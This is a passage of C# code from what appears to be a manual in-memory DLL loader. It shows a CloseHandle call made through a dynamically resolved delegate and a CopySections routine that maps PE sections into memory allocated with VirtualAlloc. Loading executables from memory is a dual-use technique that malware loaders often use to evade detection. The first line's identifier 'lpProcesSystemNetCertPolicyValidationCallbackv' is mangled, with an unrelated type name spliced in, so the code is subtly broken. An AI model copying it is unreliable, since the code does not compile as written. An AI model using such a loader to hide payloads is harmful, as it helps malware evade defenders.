<NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hThread) ? 1 : 0; } } return(true); }
void CopySections(byte[] data, IMAGE_NT_HEADERS *oldHeader) { if (data == null) { throw new ArgumentNullException("data"); } if (oldHeader->Signature != Win.IMAGE_NT_SIGNATURE) { throw new BadImageFormatException("Invalid PE-Header"); } uint size; byte *dest; IMAGE_SECTION_HEADER *section = Win.IMAGE_FIRST_SECTION(_headers); for (int i = 0; i < _headers->FileHeader.NumberOfSections; i++, section++) { if (section->SizeOfRawData == 0) { // section doesn't contain data in the dll itself, but may define // uninitialized data size = oldHeader->OptionalHeader.SectionAlignment; if (size > 0) { dest = (byte *)Win.VirtualAlloc( _codeBase + section->VirtualAddress, size, AllocationType.COMMIT, MemoryProtection.READWRITE); if (dest == null) { throw new NativeDllLoadException("Unable to allocate memory."); } dest = _codeBase + section->VirtualAddress; section->PhysicalAddress = (uint)dest & 0xffffffff; Win.MemSet(dest, 0, (void *)size); } continue; } dest = (byte *)Win.VirtualAlloc( _codeBase + section->VirtualAddress, section->SizeOfRawData, AllocationType.COMMIT, MemoryProtection.READWRITE); if (dest == null) { throw new NativeDllLoadException("Out of memory."); } dest = _codeBase + section->VirtualAddress; Marshal.Copy(data, (int)section->PointerToRawData, (IntPtr)dest, (int)section->SizeOfRawData); section->PhysicalAddress = (uint)dest & 0xffffffff; } }